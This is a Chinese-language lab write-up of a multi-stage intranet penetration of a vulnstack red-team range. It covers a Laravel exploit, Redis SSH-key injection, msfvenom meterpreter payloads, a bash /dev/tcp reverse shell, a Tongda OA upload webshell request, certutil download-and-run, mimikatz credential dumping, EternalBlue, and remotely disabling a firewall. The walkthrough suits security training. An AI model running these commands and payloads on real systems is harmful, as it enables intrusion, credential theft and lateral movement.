内网安全 - 记一次内网靶机渗透
所涉及到的知识点:
1、WEB 安全-漏洞发现及利用 2、系统安全-权限提升(漏洞 &配置 &逃逸)3、内网安全-横向移动(口令传递 &系统漏洞)
实战演练-ATT&CK 实战系列-红队评估
环境下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
利用资源:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/briskets/CVE-2021-3493
https://blog.csdn.net/szgyunyun/article/details/107104288
参考 WP:https://www.freebuf.com/articles/network/264560.html
涉及技术:
服务配置
靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应 的主机上启动靶机服务:
DMZ 区的 Ubuntu 需要启动 nginx 服务:(web1)
第二层网络的 Ubuntu 需要启动 docker 容器:(web2)
第三层网络的 Windows 7 (PC 1)需要启动通达 OA:
域用户信息
域用户账户和密码如下:
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达 OA 账户:
admin:admin657260
【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记
kali 开启 ssh 服务
/etc/init.d/ssh start xshell 连接22端口和kali的ip
渗透过程
1.用 kali 扫描 web1 的外网端口(这里是 46.160,kali 是 46.158 地址)nmap -T4 -sC -sV 192.168.46.160
2.扫描出该 ip 地址 81 端口开放,则判断出使用的是 laravel,以此来进行漏洞利用
3.用哥斯拉工具连接上传成功的后门,
将有效载荷和加密器改为 php 的
4.在上线之前先判断对方的搭建系统,出现这个就代表对方用的是 docker 来搭建的,那么接下来所要考虑的就是如何来进行 docker 逃逸。这里我上传冰蝎的木马改用冰蝎,是因为个人喜好冰蝎的工具,各位师傅可以上传其他后门改用蚁剑菜刀连接都可以。
5.这里我们将 web 权限反弹到 msf 是不成功的其一:是因为对放将 81 端口代理到 52.20:8000 端口上,这里肯定是连接不通的,因为我们的 msf 主机和对方的 52 网段的不出网机子不通其二:后门的代理没有走第一层网络 所以连接不上 web2 上的主机
6..所以我们入侵该主机并不能造成太大的威胁,借此我们要入侵 web1 的其他端口(kali 扫描全部端口)扫到了 6379 的端口 redisnmap -T4 -sC -sV -p1-65535 192.168.xx.xxx
7.Ubuntu 1 DMZ 渗透 redis 未授权判断如果进入就代表有 redis 未授权(kali 运行)redis-cli -h 192.168.xx.xxxxx
7.1Redis 未授权访问-ssh 密匙 生成公钥(kali 上执行)ssh-keygen -t rsa
7.2 将公钥导入 1.txt 文件echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt
7.3 把 1.txt 文件内容写入目标主机的 redis 缓冲中cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello
7.4 设置 redis 的备份路径为/root/.ssh/config set dir /root/.ssh
7.5 设置保存文件名为 authorized_keysconfig set dbfilename authorized_keys
7.6 将数据保存在目标服务器硬盘上save
7.7 连接 web1 上的主机ssh root@192.168.46.160
7.8 获取 web1 的主机
8.因为连接到 web1 的主机,所以这里生成正向反向的后门都可以,我这里生成的是反向连接的后门msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf
9.在将生成的后门放到刚刚连接到的 web1 的文件下
10.在用 redis 未授权访问的 web1 下载这个后门wget http://192.168.46.160:81/p1.elf
11.在这个后门执行前,kali 上要启用 msf 的监听模块
12.redis 未授权访问的主机执行后门代码
sessions 1 回到会话中 run get_local_subnets 获取本地路由 run autoroute -p 查询本地路由 run post/multi/manage/autoroute 得到本地路由
background 返回 use auxiliary/scanner/discovery/udp_probe 使用扫描模块 show options 展示选项 set rhosts 192.168.52.1-255 设置主机范围 set threads 10 设置线程 run 运行
16.通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限
17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个 kali 会话连接到第一层的网络主机上面,设置 nc 将二层网络主机的权限反弹到一层主机上面nc -lvp 1234
18.将 web 权限反弹到第一层主机上bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'
19.添加环境变量
20.在来使用 shell 提升权限
21.kali 生成正向连接的后门由此来连接msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf 生成正向连接的后门
22.在将这个后门放到冰蝎连接上的 web 主机上面
23.在来使用 kali 的 msf 监听这个后门
然后在提权的机器上运行后门发现不成功,这就是涉及到前面所提及到的 dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)
25.docker 逃逸在那台提权上的主机上进行逃逸
26.pc1 上覆盖密钥(重新建立一个 kali 的终端)
27.25 步骤写入了密钥就可以连接 52.20 的主机(刚刚创建密钥的主机上连接)ssh -i hello ubuntu@192.168.52.20
28.在来运行该木马
29.然后建立的 msf 的监听就能接受到会话
30.然后再来进入到 ubuntu 的会话中查看路由地址,就能添加到 93 的主机地址
31.现在我们已经拿下了 20 和 10 的主机,我们要拿下 30 的主机,我们要使用 nmap 来扫描 ip 地址的服务,虽然我们这台 msf 有 52 网段的 ip 路由,但是 nmap 不是 msf 内置的工具,所以我们可以设置一个代理来使用 nmap 扫描工具。
32.这里我使用 msf 自带的扫描模块
33.然后在用 kali 机连接到这个 oa 系统,前提 win7 上打开了 oa 系统,kali 的浏览器上设置代理,使用 burpsuite 抓包
POST /ispirit/im/upload.php HTTP/1.1Host: xxxx:xxContent-Length: 658Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: /Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"
2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="P"
123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"
1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg
<?php_POST['cmd'];exec = command);exec->StdOut();stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh1YB4pV8McGB--
POST /ispirit/interface/gateway.php HTTP/1.1Host: ip:端口 Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: python-requests/2.21.0Content-Length: 69Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/图片路径"}&cmd=whoami
certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe
37.然后在利用 msf 自带的扫描模块扫描
38.发现对方开放的 ip 地址和端口
第一种情况是关闭了防火墙可直接执行上线操作
39.其一:利用 ms17010
40.发现有两台主机可以利用
41.其二:使用 mimikatz 来攻击
42.如果这里提示 x32 不能执行 x64,那就要移植进程kiwi_cmd sekurlsa::logonpasswords 获取账号密码
43.先执行 ps 命令获取一个 x64 的 system 权限进程
44.再来执行刚刚的命令kiwi_cmd sekurlsa::logonpasswords 获取账号密码
45.获取到 administartor 账号密码就来利用 msf 的 psexec 模块
46.其三:利用 smb 的 ms17010 的 psexec 的模块
开启防火墙
47.这就是开启了防火墙,攻击能成功但是反弹不了会话
48.首先建立 sessionsessions 5
49.返回 shell 终端
net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \192.168.93.30 start unablefirewall
backgroundexploit
backgrounduse exploit/windows/smb/ms17_010_eternalblueshow optionsset payload windows/x64/meterpreter/bind_tcp 改为正向连接 set rhost 192.168.93.40run
评论